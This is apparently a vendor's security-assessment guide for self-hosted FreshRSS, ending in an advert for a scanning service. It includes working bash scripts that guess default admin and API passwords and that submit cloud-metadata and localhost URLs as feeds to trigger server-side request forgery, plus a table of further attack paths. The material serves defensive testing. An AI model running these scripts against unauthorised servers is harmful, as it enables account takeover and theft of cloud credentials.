FreshRSS is one of the most widely deployed self-hosted RSS aggregators, used in home labs and small organizations as a privacy-respecting alternative to cloud RSS services. Its security assessment covers: FreshRSS's admin interface at /i/ is configured during installation with a username and password — weak passwords set for convenience in home lab deployments are commonly unchanged; FreshRSS provides a Google Reader-compatible API at /api/greader.php and a Fever-compatible API that both authenticate via HTTP Basic Auth using the FreshRSS username and API password — Fever API tokens are stored in p/api_key.txt on the server filesystem; FreshRSS's core feed subscription function makes outbound HTTP requests from the server to fetch RSS feed content — submitting an internal network URL as a feed address (e.g., http://169.254.169.254/latest/meta-data/) causes the FreshRSS server to make requests to internal services; the OPML export feature generates a file containing all subscribed feed URLs which may reveal internal service addresses, authenticated feed URLs with credentials, or private subscription patterns; and multi-user FreshRSS deployments with sharing features enabled may allow reading articles across user accounts. This guide covers systematic FreshRSS security assessment.
# FreshRSS admin interface at /i/ — test weak credentials
FRESHRSS_URL="https://rss.example.com"
# Test common weak credentials
for CREDS in "admin:admin" "admin:password" "admin:freshrss" "user:password"; do
USER="${CREDS%%:*}"
PASS="${CREDS##*:}"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${FRESHRSS_URL}/i/" \
--data-urlencode "username=${USER}" \
--data-urlencode "password=${PASS}" \
-d "action=login" \
-c /tmp/freshrss_cookies.txt \
-L 2>/dev/null)
# After successful login, check if we land on the feed page
FEED_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${FRESHRSS_URL}/i/?c=reader" \
-b /tmp/freshrss_cookies.txt 2>/dev/null)
if [ "$FEED_STATUS" = "200" ]; then
echo "AUTHENTICATED: ${USER}:${PASS}"
break
fi
done
# Test Google Reader API authentication
curl -s "${FRESHRSS_URL}/api/greader.php/accounts/ClientLogin" \
-d "Email=admin&Passwd=admin&service=reader" 2>/dev/null | head -5
# FreshRSS feed subscription triggers server-side HTTP request to the feed URL
# Submit internal network URLs as feed addresses
FRESHRSS_URL="https://rss.example.com"
SESSION_COOKIE="your-freshrss-session"
# Test SSRF via feed subscription — submit internal URLs as RSS feeds
# The FreshRSS server will make an outbound HTTP request to these URLs
SSRF_TARGETS=(
"http://169.254.169.254/latest/meta-data/" # AWS instance metadata
"http://metadata.google.internal/computeMetadata/v1/" # GCP metadata
"http://169.254.169.254/metadata/instance" # Azure metadata
"http://10.0.0.1/" # Default gateway
"http://localhost:8080/" # Internal services
"http://127.0.0.1:5432/" # PostgreSQL
"http://127.0.0.1:6379/" # Redis
)
for TARGET in "${SSRF_TARGETS[@]}"; do
echo "Testing SSRF via feed: ${TARGET}"
# Submit as a new subscription — FreshRSS will attempt to fetch the URL
curl -s -X POST "${FRESHRSS_URL}/i/?c=subscription&a=add" \
-b "${SESSION_COOKIE}" \
-d "url=${TARGET}" 2>/dev/null | grep -i "error\|success\|feed" | head -3
done
| Security Test | Method | Risk |
|---|---|---|
| Weak admin credentials on /i/ login | POST /i/?c=user&a=login with common passwords — session cookie gives full FreshRSS management including adding/removing feeds and users | High |
| Feed subscription URL SSRF | Subscribe to internal URL — FreshRSS server fetches the URL, enabling access to cloud metadata (AWS/GCP/Azure IMDS) and internal network services | High |
| Fever API token in p/api_key.txt | Direct HTTP access to /p/api_key.txt if web server not configured to block the directory — reveals Fever API authentication token | High |
| Google Reader API Basic Auth credential testing | POST /api/greader.php/accounts/ClientLogin — brute force username/password combinations for API access | Medium |
| OPML export revealing subscription patterns | Authenticated GET /i/?c=subscription&a=opml_export — reveals all subscribed feed URLs including any with embedded credentials or internal addresses | Medium |
| Anonymous read access when allow_anonymous=true | GET /i/?c=reader without session cookie — unauthenticated access to all articles in public feeds | Medium |
Ironimo tests FreshRSS deployments for weak admin credentials on the /i/ login interface, feed subscription SSRF causing the server to make outbound HTTP requests to internal network services and cloud metadata endpoints, Fever API token exposure via the p/api_key.txt file when the data directory is web-accessible, Google Reader API Basic Auth brute force, OPML export revealing subscribed URLs including any with embedded credentials, and anonymous read access when allow_anonymous is misconfigured.
Start free scan